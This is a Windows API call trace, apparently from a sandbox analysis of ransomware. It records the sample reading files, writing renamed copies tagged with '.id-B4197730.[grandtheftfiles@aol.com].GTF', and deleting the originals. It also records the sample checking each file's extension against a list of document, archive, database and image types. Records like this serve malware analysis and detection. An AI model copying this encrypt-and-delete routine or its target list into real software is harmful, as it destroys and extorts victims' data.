	[0071.189] SetFilePointerEx (in: hFile=0x33c, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2c1fec0 | out: lpNewFilePointer=0x0) returned 1
	[0071.189] CreateFileW (lpFileName="C:\\Program Files\\Common Files\\microsoft shared\\Stationery\\Desktop.ini.id-B4197730.[grandtheftfiles@aol.com].GTF" (normalized: "c:\\program files\\common files\\microsoft shared\\stationery\\desktop.ini.id-b4197730.[grandtheftfiles@aol.com].gtf"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x358
	[0071.189] GetLastError () returned 0x0
	[0071.189] ReadFile (in: hFile=0x33c, lpBuffer=0x30c0020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x2c1fecc, lpOverlapped=0x0 | out: lpBuffer=0x30c0020*, lpNumberOfBytesRead=0x2c1fecc*=0x285, lpOverlapped=0x0) returned 1
	[0071.190] WriteFile (in: hFile=0x358, lpBuffer=0x30c0020*, nNumberOfBytesToWrite=0x290, lpNumberOfBytesWritten=0x2c1fc94, lpOverlapped=0x0 | out: lpBuffer=0x30c0020*, lpNumberOfBytesWritten=0x2c1fc94*=0x290, lpOverlapped=0x0) returned 1
	[0071.191] ReadFile (in: hFile=0x33c, lpBuffer=0x30c0020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x2c1fecc, lpOverlapped=0x0 | out: lpBuffer=0x30c0020*, lpNumberOfBytesRead=0x2c1fecc*=0x0, lpOverlapped=0x0) returned 1
	[0071.191] WriteFile (in: hFile=0x358, lpBuffer=0x30c0020*, nNumberOfBytesToWrite=0xea, lpNumberOfBytesWritten=0x2c1fc94, lpOverlapped=0x0 | out: lpBuffer=0x30c0020*, lpNumberOfBytesWritten=0x2c1fc94*=0xea, lpOverlapped=0x0) returned 1
	[0071.191] SetEndOfFile (hFile=0x358) returned 1
	[0071.234] CloseHandle (hObject=0x358) returned 1
	[0071.240] SetFilePointerEx (in: hFile=0x33c, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2c1fec0 | out: lpNewFilePointer=0x0) returned 1
	[0071.243] SetEndOfFile (hFile=0x33c) returned 1
	[0071.261] CloseHandle (hObject=0x33c) returned 1
	[0071.261] SetFileAttributesW (lpFileName="C:\\Program Files\\Common Files\\microsoft shared\\Stationery\\Desktop.ini.id-B4197730.[grandtheftfiles@aol.com].GTF", dwFileAttributes=0x26) returned 1
	[0071.261] DeleteFileW (lpFileName="C:\\Program Files\\Common Files\\microsoft shared\\Stationery\\Desktop.ini" (normalized: "c:\\program files\\common files\\microsoft shared\\stationery\\desktop.ini")) returned 1
	[0071.507] lstrlenW (lpString="C:\\Program Files\\Common Files\\microsoft shared\\Stationery\\Desktop.ini") returned 69
	[0071.507] lstrlenW (lpString="C:\\Program Files\\Common Files\\microsoft shared\\Stationery\\Desktop.ini") returned 69
	[0071.507] lstrlenW (lpString=".doc") returned 4
	[0071.508] lstrcmpiW (lpString1=".doc", lpString2=".ini") returned -1
	[0071.508] lstrlenW (lpString=".docx") returned 5
	[0071.508] lstrcmpiW (lpString1=".docx", lpString2="p.ini") returned -1
	[0071.508] lstrlenW (lpString=".pdf") returned 4
	[0071.508] lstrcmpiW (lpString1=".pdf", lpString2=".ini") returned 1
	[0071.508] lstrlenW (lpString=".xls") returned 4
	[0071.508] lstrcmpiW (lpString1=".xls", lpString2=".ini") returned 1
	[0071.508] lstrlenW (lpString=".xlsx") returned 5
	[0071.508] lstrcmpiW (lpString1=".xlsx", lpString2="p.ini") returned -1
	[0071.508] lstrlenW (lpString=".ppt") returned 4
	[0071.508] lstrcmpiW (lpString1=".ppt", lpString2=".ini") returned 1
	[0071.508] lstrlenW (lpString="C:\\Program Files\\Common Files\\microsoft shared\\Stationery\\Desktop.ini") returned 69
	[0071.508] lstrlenW (lpString=".zip") returned 4
	[0071.508] lstrcmpiW (lpString1=".zip", lpString2=".ini") returned 1
	[0071.508] lstrlenW (lpString=".rar") returned 4
	[0071.508] lstrcmpiW (lpString1=".rar", lpString2=".ini") returned 1
	[0071.508] lstrlenW (lpString=".bz2") returned 4
	[0071.508] lstrcmpiW (lpString1=".bz2", lpString2=".ini") returned -1
	[0071.508] lstrlenW (lpString=".7z") returned 3
	[0071.508] lstrcmpiW (lpString1=".7z", lpString2="ini") returned -1
	[0071.508] lstrlenW (lpString="C:\\Program Files\\Common Files\\microsoft shared\\Stationery\\Desktop.ini") returned 69
	[0071.508] lstrlenW (lpString=".dbf") returned 4
	[0071.508] lstrcmpiW (lpString1=".dbf", lpString2=".ini") returned -1
	[0071.508] lstrlenW (lpString="C:\\Program Files\\Common Files\\microsoft shared\\Stationery\\Desktop.ini") returned 69
	[0071.508] lstrlenW (lpString=".1cd") returned 4
	[0071.508] lstrcmpiW (lpString1=".1cd", lpString2=".ini") returned -1
	[0071.508] lstrlenW (lpString="C:\\Program Files\\Common Files\\microsoft shared\\Stationery\\Desktop.ini") returned 69
	[0071.508] lstrlenW (lpString=".jpg") returned 4
	[0071.508] lstrcmpiW (lpString1=".jpg", lpString2=".ini") returned 1
	[0071.508] lstrlenW (lpString="C:\\Program Files\\Common Files\\microsoft shared\\Stationery\\Desktop.ini") returned 69
	[0071.508] lstrlenW (lpString="C:\\Program Files\\Common Files\\microsoft shared\\Stationery\\Desktop.ini") returned 69
	[0071.508] lstrlenW (lpString=".doc") returned 4
	[0071.508] lstrcmpiW (lpString1=".doc", lpString2=".ini") returned -1
	[0071.508] lstrlenW (lpString=".docx") returned 5
	[0071.508] lstrcmpiW (lpString1=".docx", lpString2="p.ini") returned -1
	[0071.508] lstrlenW (lpString=".pdf") returned 4
	[0071.509] lstrcmpiW (lpString1=".pdf", lpString2=".ini") returned 1
	[0071.509] lstrlenW (lpString=".xls") returned 4
	[0071.509] lstrcmpiW (lpString1=".xls", lpString2=".ini") returned 1
	[0071.509] lstrlenW (lpString=".xlsx") returned 5
	[0071.509] lstrcmpiW (lpString1=".xlsx", lpString2="p.ini") returned -1
	[0071.509] lstrlenW (lpString=".ppt") returned 4
	[0071.509] lstrcmpiW (lpString1=".ppt", lpString2=".ini") returned 1
	[0071.509] lstrlenW (lpString="C:\\Program Files\\Common Files\\microsoft shared\\Stationery\\Desktop.ini") returned 69
	[0071.509] lstrlenW (lpString=".zip") returned 4
	[0071.509] lstrcmpiW (lpString1=".zip", lpString2=".ini") returned 1
	[0071.509] lstrlenW (lpString=".rar") returned 4
	[0071.509] lstrcmpiW (lpString1=".rar", lpString2=".ini") returned 1
	[0071.509] lstrlenW (lpString=".bz2") returned 4
	[0071.509] lstrcmpiW (lpString1=".bz2", lpString2=".ini") returned -1
	[0071.509] lstrlenW (lpString=".7z") returned 3
	[0071.509] lstrcmpiW (lpString1=".7z", lpString2="ini") returned -1
	[0071.509] lstrlenW (lpString="C:\\Program Files\\Common Files\\microsoft shared\\Stationery\\Desktop.ini") returned 69
	[0071.509] lstrlenW (lpString=".dbf") returned 4
	[0071.509] lstrcmpiW (lpString1=".dbf", lpString2=".ini") returned -1
	[0071.509] lstrlenW (lpString="C:\\Program Files\\Common Files\\microsoft shared\\Stationery\\Desktop.ini") returned 69
	[0071.509] lstrlenW (lpString=".1cd") returned 4
	[0071.509] lstrcmpiW (lpString1=".1cd", lpString2=".ini") returned -1
	[0071.509] lstrlenW (lpString="C:\\Program Files\\Common Files\\microsoft shared\\Stationery\\Desktop.ini") returned 69
	[0071.509] lstrlenW (lpString=".jpg") returned 4
	[0071.509] lstrcmpiW (lpString1=".jpg", lpString2=".ini") returned 1
	[0071.509] lstrcmpiW (lpString1=".jpg", lpString2=".GTF") returned 1
	[0071.509] lstrlenW (lpString="Stars.jpg") returned 9
	[0071.509] CreateFileW (lpFileName="C:\\Program Files\\Common Files\\microsoft shared\\Stationery\\Stars.jpg" (normalized: "c:\\program files\\common files\\microsoft shared\\stationery\\stars.jpg"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x368
	[0071.512] GetFileSizeEx (in: hFile=0x368, lpFileSize=0x2c1ff14 | out: lpFileSize=0x2c1ff14*=7505) returned 1
	[0071.512] CloseHandle (hObject=0x368) returned 1
	[0071.512] GetFileAttributesW (lpFileName="C:\\Program Files\\Common Files\\microsoft shared\\Stationery\\Stars.jpg" (normalized: "c:\\program files\\common files\\microsoft shared\\stationery\\stars.jpg")) returned 0x20
	[0071.513] GetFileAttributesW (lpFileName="C:\\Program Files\\Common Files\\microsoft shared\\Stationery\\Stars.jpg.id-B4197730.[grandtheftfiles@aol.com].GTF" (normalized: "c:\\program files\\common files\\microsoft shared\\stationery\\stars.jpg.id-b4197730.[grandtheftfiles@aol.com].gtf")) returned 0xffffffff
	[0071.513] CreateFileW (lpFileName="C:\\Program Files\\Common Files\\microsoft shared\\Stationery\\Stars.jpg" (normalized: "c:\\program files\\common files\\microsoft shared\\stationery\\stars.jpg"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0xffffffff
	[0071.513] lstrlenW (lpString="C:\\Program Files\\Common Files\\microsoft shared\\Stationery\\Stars.jpg") returned 67
	[0071.513] lstrlenW (lpString="C:\\Program Files\\Common Files\\microsoft shared\\Stationery\\Stars.jpg") returned 67
	[0071.513] lstrlenW (lpString=".doc") returned 4
	[0071.513] lstrcmpiW (lpString1=".doc", lpString2=".jpg") returned -1
	[0071.513] lstrlenW (lpString=".docx") returned 5
	[0071.513] lstrcmpiW (lpString1=".docx", lpString2="s.jpg") returned -1
	[0071.513] lstrlenW (lpString=".pdf") returned 4
	[0071.513] lstrcmpiW (lpString1=".pdf", lpString2=".jpg") returned 1
	[0071.513] lstrlenW (lpString=".xls") returned 4
	[0071.513] lstrcmpiW (lpString1=".xls", lpString2=".jpg") returned 1
	[0071.513] lstrlenW (lpString=".xlsx") returned 5
	[0071.513] lstrcmpiW (lpString1=".xlsx", lpString2="s.jpg") returned -1
	[0071.513] lstrlenW (lpString=".ppt") returned 4
	[0071.513] lstrcmpiW (lpString1=".ppt", lpString2=".jpg") returned 1
	[0071.513] lstrlenW (lpString="C:\\Program Files\\Common Files\\microsoft shared\\Stationery\\Stars.jpg") returned 67
	[0071.513] lstrlenW (lpString=".zip") returned 4
	[0071.513] lstrcmpiW (lpString1=".zip", lpString2=".jpg") returned 1
	[0071.513] lstrlenW (lpString=".rar") returned 4
	[0071.513] lstrcmpiW (lpString1=".rar", lpString2=".jpg") returned 1
	[0071.513] lstrlenW (lpString=".bz2") returned 4
	[0071.513] lstrcmpiW (lpString1=".bz2", lpString2=".jpg") returned -1
	[0071.513] lstrlenW (lpString=".7z") returned 3
	[0071.513] lstrcmpiW (lpString1=".7z", lpString2="jpg") returned -1
	[0071.513] lstrlenW (lpString="C:\\Program Files\\Common Files\\microsoft shared\\Stationery\\Stars.jpg") returned 67
	[0071.513] lstrlenW (lpString=".dbf") returned 4
	[0071.513] lstrcmpiW (lpString1=".dbf", lpString2=".jpg") returned -1
	[0071.513] lstrlenW (lpString="C:\\Program Files\\Common Files\\microsoft shared\\Stationery\\Stars.jpg") returned 67
	[0071.513] lstrlenW (lpString=".1cd") returned 4
	[0071.513] lstrcmpiW (lpString1=".1cd", lpString2=".jpg") returned -1
	[0071.514] lstrlenW (lpString="C:\\Program Files\\Common Files\\microsoft shared\\Stationery\\Stars.jpg") returned 67
	[0071.514] lstrlenW (lpString=".jpg") returned 4
	[0071.514] lstrcmpiW (lpString1=".jpg", lpString2=".jpg") returned 0
	[0071.514] lstrlenW (lpString="C:\\Program Files\\Common Files\\microsoft shared\\Stationery\\Stars.jpg") returned 67
	[0071.514] lstrlenW (lpString="C:\\Program Files\\Common Files\\microsoft shared\\Stationery\\Stars.jpg") returned 67
	[0071.514] lstrlenW (lpString=".doc") returned 4
	[0071.514] lstrcmpiW (lpString1=".doc", lpString2=".jpg") returned -1
	[0071.514] lstrlenW (lpString=".docx") returned 5
	[0071.514] lstrcmpiW (lpString1=".docx", lpString2="s.jpg") returned -1
	[0071.514] lstrlenW (lpString=".pdf") returned 4
	[0071.514] lstrcmpiW (lpString1=".pdf", lpString2=".jpg") returned 1
	[0071.514] lstrlenW (lpString=".xls") returned 4
	[0071.514] lstrcmpiW (lpString1=".xls", lpString2=".jpg") returned 1
	[0071.514] lstrlenW (lpString=".xlsx") returned 5
	[0071.514] lstrcmpiW (lpString1=".xlsx", lpString2="s.jpg") returned -1
	[0071.514] lstrlenW (lpString=".ppt") returned 4
	[0071.514] lstrcmpiW (lpString1=".ppt", lpString2=".jpg") returned 1
	[0071.514] lstrlenW (lpString="C:\\Program Files\\Common Files\\microsoft shared\\Stationery\\Stars.jpg") returned 67
	[0071.514] lstrlenW (lpString=".zip") returned 4
	[0071.514] lstrcmpiW (lpString1=".zip", lpString2=".jpg") returned 1
	[0071.514] lstrlenW (lpString=".rar") returned 4
	[0071.514] lstrcmpiW (lpString1=".rar", lpString2=".jpg") returned 1
	[0071.514] lstrlenW (lpString=".bz2") returned 4
	[0071.514] lstrcmpiW (lpString1=".bz2", lpString2=".jpg") returned -1
	[0071.514] lstrlenW (lpString=".7z") returned 3
	[0071.514] lstrcmpiW (lpString1=".7z", lpString2="jpg") returned -1
	[0071.514] lstrlenW (lpString="C:\\Program Files\\Common Files\\microsoft shared\\Stationery\\Stars.jpg") returned 67
	[0071.514] lstrlenW (lpString=".dbf") returned 4
	[0071.514] lstrcmpiW (lpString1=".dbf", lpString2=".jpg") returned -1
	[0071.514] lstrlenW (lpString="C:\\Program Files\\Common Files\\microsoft shared\\Stationery\\Stars.jpg") returned 67
	[0071.514] lstrlenW (lpString=".1cd") returned 4
	[0071.514] lstrcmpiW (lpString1=".1cd", lpString2=".jpg") returned -1
	[0071.514] lstrlenW (lpString="C:\\Program Files\\Common Files\\microsoft shared\\Stationery\\Stars.jpg") returned 67
	[0071.514] lstrlenW (lpString=".jpg") returned 4
	[0071.514] lstrcmpiW (lpString1=".jpg", lpString2=".jpg") returned 0
	[0071.515] lstrcmpiW (lpString1=".bmp", lpString2=".GTF") returned -1
	[0071.515] lstrlenW (lpString="verisign.bmp") returned 12
	[0071.515] CreateFileW (lpFileName="C:\\Program Files\\Common Files\\Services\\verisign.bmp" (normalized: "c:\\program files\\common files\\services\\verisign.bmp"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x368
	[0071.519] GetFileSizeEx (in: hFile=0x368, lpFileSize=0x2c1ff14 | out: lpFileSize=0x2c1ff14*=2702) returned 1
	[0071.519] CloseHandle (hObject=0x368) returned 1
	[0071.519] GetFileAttributesW (lpFileName="C:\\Program Files\\Common Files\\Services\\verisign.bmp" (normalized: "c:\\program files\\common files\\services\\verisign.bmp")) returned 0x20
	[0071.519] GetFileAttributesW (lpFileName="C:\\Program Files\\Common Files\\Services\\verisign.bmp.id-B4197730.[grandtheftfiles@aol.com].GTF" (normalized: "c:\\program files\\common files\\services\\verisign.bmp.id-b4197730.[grandtheftfiles@aol.com].gtf")) returned 0xffffffff
	[0071.519] CreateFileW (lpFileName="C:\\Program Files\\Common Files\\Services\\verisign.bmp" (normalized: "c:\\program files\\common files\\services\\verisign.bmp"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0xffffffff
	[0071.519] lstrlenW (lpString="C:\\Program Files\\Common Files\\Services\\verisign.bmp") returned 51
	[0071.519] lstrlenW (lpString="C:\\Program Files\\Common Files\\Services\\verisign.bmp") returned 51
	[0071.519] lstrlenW (lpString=".doc") returned 4
	[0071.519] lstrcmpiW (lpString1=".doc", lpString2=".bmp") returned 1
	[0071.519] lstrlenW (lpString=".docx") returned 5
	[0071.519] lstrcmpiW (lpString1=".docx", lpString2="n.bmp") returned -1
	[0071.519] lstrlenW (lpString=".pdf") returned 4
	[0071.519] lstrcmpiW (lpString1=".pdf", lpString2=".bmp") returned 1
	[0071.519] lstrlenW (lpString=".xls") returned 4
	[0071.520] lstrcmpiW (lpString1=".xls", lpString2=".bmp") returned 1
	[0071.520] lstrlenW (lpString=".xlsx") returned 5
	[0071.520] lstrcmpiW (lpString1=".xlsx", lpString2="n.bmp") returned -1
	[0071.520] lstrlenW (lpString=".ppt") returned 4
	[0071.520] lstrcmpiW (lpString1=".ppt", lpString2=".bmp") returned 1
	[0071.520] lstrlenW (lpString="C:\\Program Files\\Common Files\\Services\\verisign.bmp") returned 51
	[0071.520] lstrlenW (lpString=".zip") returned 4
	[0071.520] lstrcmpiW (lpString1=".zip", lpString2=".bmp") returned 1
	[0071.520] lstrlenW (lpString=".rar") returned 4
	[0071.520] lstrcmpiW (lpString1=".rar", lpString2=".bmp") returned 1
	[0071.520] lstrlenW (lpString=".bz2") returned 4
	[0071.520] lstrcmpiW (lpString1=".bz2", lpString2=".bmp") returned 1
	[0071.520] lstrlenW (lpString=".7z") returned 3
	[0071.520] lstrcmpiW (lpString1=".7z", lpString2="bmp") returned -1
	[0071.520] lstrlenW (lpString="C:\\Program Files\\Common Files\\Services\\verisign.bmp") returned 51
	[0071.520] lstrlenW (lpString=".dbf") returned 4
	[0071.520] lstrcmpiW (lpString1=".dbf", lpString2=".bmp") returned 1
	[0071.520] lstrlenW (lpString="C:\\Program Files\\Common Files\\Services\\verisign.bmp") returned 51
	[0071.520] lstrlenW (lpString=".1cd") returned 4
	[0071.520] lstrcmpiW (lpString1=".1cd", lpString2=".bmp") returned -1
	[0071.520] lstrlenW (lpString="C:\\Program Files\\Common Files\\Services\\verisign.bmp") returned 51
	[0071.520] lstrlenW (lpString=".jpg") returned 4
	[0071.520] lstrcmpiW (lpString1=".jpg", lpString2=".bmp") returned 1
	[0071.520] lstrlenW (lpString="C:\\Program Files\\Common Files\\Services\\verisign.bmp") returned 51
	[0071.520] lstrlenW (lpString="C:\\Program Files\\Common Files\\Services\\verisign.bmp") returned 51
	[0071.520] lstrlenW (lpString=".doc") returned 4
	[0071.520] lstrcmpiW (lpString1=".doc", lpString2=".bmp") returned 1
	[0071.520] lstrlenW (lpString=".docx") returned 5
	[0071.520] lstrcmpiW (lpString1=".docx", lpString2="n.bmp") returned -1
	[0071.520] lstrlenW (lpString=".pdf") returned 4
	[0071.520] lstrcmpiW (lpString1=".pdf", lpString2=".bmp") returned 1
	[0071.520] lstrlenW (lpString=".xls") returned 4
	[0071.520] lstrcmpiW (lpString1=".xls", lpString2=".bmp") returned 1
	[0071.520] lstrlenW (lpString=".xlsx") returned 5
	[0071.520] lstrcmpiW (lpString1=".xlsx", lpString2="n.bmp") returned -1
	[0071.520] lstrlenW (lpString=".ppt") returned 4
	[0071.521] lstrcmpiW (lpString1=".ppt", lpString2=".bmp") returned 1
	[0071.521] lstrlenW (lpString="C:\\Program Files\\Common Files\\Services\\verisign.bmp") returned 51
	[0071.521] lstrlenW (lpString=".zip") returned 4
	[0071.521] lstrcmpiW (lpString1=".zip", lpString2=".bmp") returned 1
	[0071.521] lstrlenW (lpString=".rar") returned 4
	[0071.521] lstrcmpiW (lpString1=".rar", lpString2=".bmp") returned 1
	[0071.521] lstrlenW (lpString=".bz2") returned 4
	[0071.521] lstrcmpiW (lpString1=".bz2", lpString2=".bmp") returned 1
	[0071.521] lstrlenW (lpString=".7z") returned 3
	[0071.521] lstrcmpiW (lpString1=".7z", lpString2="bmp") returned -1
	[0071.521] lstrlenW (lpString="C:\\Program Files\\Common Files\\Services\\verisign.bmp") returned 51
	[0071.521] lstrlenW (lpString=".dbf") returned 4
	[0071.521] lstrcmpiW (lpString1=".dbf", lpString2=".bmp") returned 1
	[0071.521] lstrlenW (lpString="C:\\Program Files\\Common Files\\Services\\verisign.bmp") returned 51
	[0071.521] lstrlenW (lpString=".1cd") returned 4
	[0071.521] lstrcmpiW (lpString1=".1cd", lpString2=".bmp") returned -1
	[0071.521] lstrlenW (lpString="C:\\Program Files\\Common Files\\Services\\verisign.bmp") returned 51
	[0071.521] lstrlenW (lpString=".jpg") returned 4
	[0071.521] lstrcmpiW (lpString1=".jpg", lpString2=".bmp") returned 1
	[0071.521] lstrcmpiW (lpString1=".inc", lpString2=".GTF") returned 1
	[0071.521] lstrlenW (lpString="adovbs.inc") returned 10
	[0071.521] CreateFileW (lpFileName="C:\\Program Files\\Common Files\\System\\ado\\adovbs.inc" (normalized: "c:\\program files\\common files\\system\\ado\\adovbs.inc"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x368
	[0071.522] GetFileSizeEx (in: hFile=0x368, lpFileSize=0x2c1ff14 | out: lpFileSize=0x2c1ff14*=15195) returned 1
	[0071.522] CloseHandle (hObject=0x368) returned 1
	[0071.522] GetFileAttributesW (lpFileName="C:\\Program Files\\Common Files\\System\\ado\\adovbs.inc" (normalized: "c:\\program files\\common files\\system\\ado\\adovbs.inc")) returned 0x20
	[0071.522] GetFileAttributesW (lpFileName="C:\\Program Files\\Common Files\\System\\ado\\adovbs.inc.id-B4197730.[grandtheftfiles@aol.com].GTF" (normalized: "c:\\program files\\common files\\system\\ado\\adovbs.inc.id-b4197730.[grandtheftfiles@aol.com].gtf")) returned 0xffffffff
	[0071.523] CreateFileW (lpFileName="C:\\Program Files\\Common Files\\System\\ado\\adovbs.inc" (normalized: "c:\\program files\\common files\\system\\ado\\adovbs.inc"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0xffffffff
	[0071.523] lstrlenW (lpString="C:\\Program Files\\Common Files\\System\\ado\\adovbs.inc") returned 51
	[0071.523] lstrlenW (lpString="C:\\Program Files\\Common Files\\System\\ado\\adovbs.inc") returned 51
	[0071.523] lstrlenW (lpString=".doc") returned 4
	[0071.523] lstrcmpiW (lpString1=".doc", lpString2=".inc") returned -1
	[0071.523] lstrlenW (lpString=".docx") returned 5
	[0071.523] lstrcmpiW (lpString1=".docx", lpString2="s.inc") returned -1
	[0071.523] lstrlenW (lpString=".pdf") returned 4
	[0071.523] lstrcmpiW (lpString1=".pdf", lpString2=".inc") returned 1
	[0071.523] lstrlenW (lpString=".xls") returned 4
	[0071.523] lstrcmpiW (lpString1=".xls", lpString2=".inc") returned 1
	[0071.523] lstrlenW (lpString=".xlsx") returned 5
	[0071.523] lstrcmpiW (lpString1=".xlsx", lpString2="s.inc") returned -1
	[0071.523] lstrlenW (lpString=".ppt") returned 4
	[0071.523] lstrcmpiW (lpString1=".ppt", lpString2=".inc") returned 1
	[0071.523] lstrlenW (lpString="C:\\Program Files\\Common Files\\System\\ado\\adovbs.inc") returned 51
	[0071.523] lstrlenW (lpString=".zip") returned 4
	[0071.523] lstrcmpiW (lpString1=".zip", lpString2=".inc") returned 1
	[0071.523] lstrlenW (lpString=".rar") returned 4
	[0071.523] lstrcmpiW (lpString1=".rar", lpString2=".inc") returned 1
	[0071.523] lstrlenW (lpString=".bz2") returned 4
	[0071.523] lstrcmpiW (lpString1=".bz2", lpString2=".inc") returned -1
	[0071.523] lstrlenW (lpString=".7z") returned 3
	[0071.523] lstrcmpiW (lpString1=".7z", lpString2="inc") returned -1
	[0071.523] lstrlenW (lpString="C:\\Program Files\\Common Files\\System\\ado\\adovbs.inc") returned 51
	[0071.523] lstrlenW (lpString=".dbf") returned 4
	[0071.523] lstrcmpiW (lpString1=".dbf", lpString2=".inc") returned -1
	[0071.523] lstrlenW (lpString="C:\\Program Files\\Common Files\\System\\ado\\adovbs.inc") returned 51
	[0071.523] lstrlenW (lpString=".1cd") returned 4
	[0071.523] lstrcmpiW (lpString1=".1cd", lpString2=".inc") returned -1
	[0071.523] lstrlenW (lpString="C:\\Program Files\\Common Files\\System\\ado\\adovbs.inc") returned 51
	[0071.523] lstrlenW (lpString=".jpg") returned 4
	[0071.523] lstrcmpiW (lpString1=".jpg", lpString2=".inc") returned 1
	[0071.524] lstrlenW (lpString="C:\\Program Files\\Common Files\\System\\ado\\adovbs.inc") returned 51
	[0071.524] lstrlenW (lpString="C:\\Program Files\\Common Files\\System\\ado\\adovbs.inc") returned 51
	[0071.524] lstrlenW (lpString=".doc") returned 4
	[0071.524] lstrcmpiW (lpString1=".doc", lpString2=".inc") returned -1
	[0071.524] lstrlenW (lpString=".docx") returned 5
	[0071.524] lstrcmpiW (lpString1=".docx", lpString2="s.inc") returned -1
	[0071.524] lstrlenW (lpString=".pdf") returned 4
	[0071.524] lstrcmpiW (lpString1=".pdf", lpString2=".inc") returned 1
	[0071.524] lstrlenW (lpString=".xls") returned 4
	[0071.524] lstrcmpiW (lpString1=".xls", lpString2=".inc") returned 1
	[0071.524] lstrlenW (lpString=".xlsx") returned 5
	[0071.524] lstrcmpiW (lpString1=".xlsx", lpString2="s.inc") returned -1
	[0071.524] lstrlenW (lpString=".ppt") returned 4
	[0071.524] lstrcmpiW (lpString1=".ppt", lpString2=".inc") returned 1
	[0071.524] lstrlenW (lpString="C:\\Program Files\\Common Files\\System\\ado\\adovbs.inc") returned 51
	[0071.524] lstrlenW (lpString=".zip") returned 4
	[0071.524] lstrcmpiW (lpString1=".zip", lpString2=".inc") returned 1
	[0071.524] lstrlenW (lpString=".rar") returned 4
	[0071.524] lstrcmpiW (lpString1=".rar", lpString2=".inc") returned 1
	[0071.524] lstrlenW (lpString=".bz2") returned 4
	[0071.524] lstrcmpiW (lpString1=".bz2", lpString2=".inc") returned -1
	[0071.524] lstrlenW (lpString=".7z") returned 3
	[0071.524] lstrcmpiW (lpString1=".7z", lpString2="inc") returned -1
	[0071.524] lstrlenW (lpString="C:\\Program Files\\Common Files\\System\\ado\\adovbs.inc") returned 51
	[0071.524] lstrlenW (lpString=".dbf") returned 4
	[0071.524] lstrcmpiW (lpString1=".dbf", lpString2=".inc") returned -1
	[0071.524] lstrlenW (lpString="C:\\Program Files\\Common Files\\System\\ado\\adovbs.inc") returned 51
	[0071.524] lstrlenW (lpString=".1cd") returned 4
	[0071.524] lstrcmpiW (lpString1=".1cd", lpString2=".inc") returned -1
	[0071.524] lstrlenW (lpString="C:\\Program Files\\Common Files\\System\\ado\\adovbs.inc") returned 51
	[0071.524] lstrlenW (lpString=".jpg") returned 4
	[0071.524] lstrcmpiW (lpString1=".jpg", lpString2=".inc") returned 1
	[0071.524] lstrcmpiW (lpString1=".inc", lpString2=".GTF") returned 1
	[0071.525] lstrlenW (lpString="adcjavas.inc") returned 12
	[0071.525] CreateFileW (lpFileName="C:\\Program Files\\Common Files\\System\\msadc\\adcjavas.inc" (normalized: "c:\\program files\\common files\\system\\msadc\\adcjavas.inc"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x368
	[0071.525] GetFileSizeEx (in: hFile=0x368, lpFileSize=0x2c1ff14 | out: lpFileSize=0x2c1ff14*=630) returned 1
	[0071.525] CloseHandle (hObject=0x368) returned 1
	[0071.526] GetFileAttributesW (lpFileName="C:\\Program Files\\Common Files\\System\\msadc\\adcjavas.inc" (normalized: "c:\\program files\\common files\\system\\msadc\\adcjavas.inc")) returned 0x20
	[0071.526] GetFileAttributesW (lpFileName="C:\\Program Files\\Common Files\\System\\msadc\\adcjavas.inc.id-B4197730.[grandtheftfiles@aol.com].GTF" (normalized: "c:\\program files\\common files\\system\\msadc\\adcjavas.inc.id-b4197730.[grandtheftfiles@aol.com].gtf")) returned 0xffffffff
	[0071.526] CreateFileW (lpFileName="C:\\Program Files\\Common Files\\System\\msadc\\adcjavas.inc" (normalized: "c:\\program files\\common files\\system\\msadc\\adcjavas.inc"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0xffffffff
	[0071.526] lstrlenW (lpString="C:\\Program Files\\Common Files\\System\\msadc\\adcjavas.inc") returned 55
	[0071.526] lstrlenW (lpString="C:\\Program Files\\Common Files\\System\\msadc\\adcjavas.inc") returned 55
	[0071.526] lstrlenW (lpString=".doc") returned 4
	[0071.526] lstrcmpiW (lpString1=".doc", lpString2=".inc") returned -1
	[0071.526] lstrlenW (lpString=".docx") returned 5
	[0071.526] lstrcmpiW (lpString1=".docx", lpString2="s.inc") returned -1
	[0071.526] lstrlenW (lpString=".pdf") returned 4
	[0071.526] lstrcmpiW (lpString1=".pdf", lpString2=".inc") returned 1
	[0071.526] lstrlenW (lpString=".xls") returned 4
	[0071.526] lstrcmpiW (lpString1=".xls", lpString2=".inc") returned 1
	[0071.526] lstrlenW (lpString=".xlsx") returned 5
	[0071.526] lstrcmpiW (lpString1=".xlsx", lpString2="s.inc") returned -1
	[0071.526] lstrlenW (lpString=".ppt") returned 4
	[0071.526] lstrcmpiW (lpString1=".ppt", lpString2=".inc") returned 1
	[0071.526] lstrlenW (lpString="C:\\Program Files\\Common Files\\System\\msadc\\adcjavas.inc") returned 55
	[0071.526] lstrlenW (lpString=".zip") returned 4
	[0071.526] lstrcmpiW (lpString1=".zip", lpString2=".inc") returned 1
	[0071.526] lstrlenW (lpString=".rar") returned 4
	[0071.526] lstrcmpiW (lpString1=".rar", lpString2=".inc") returned 1
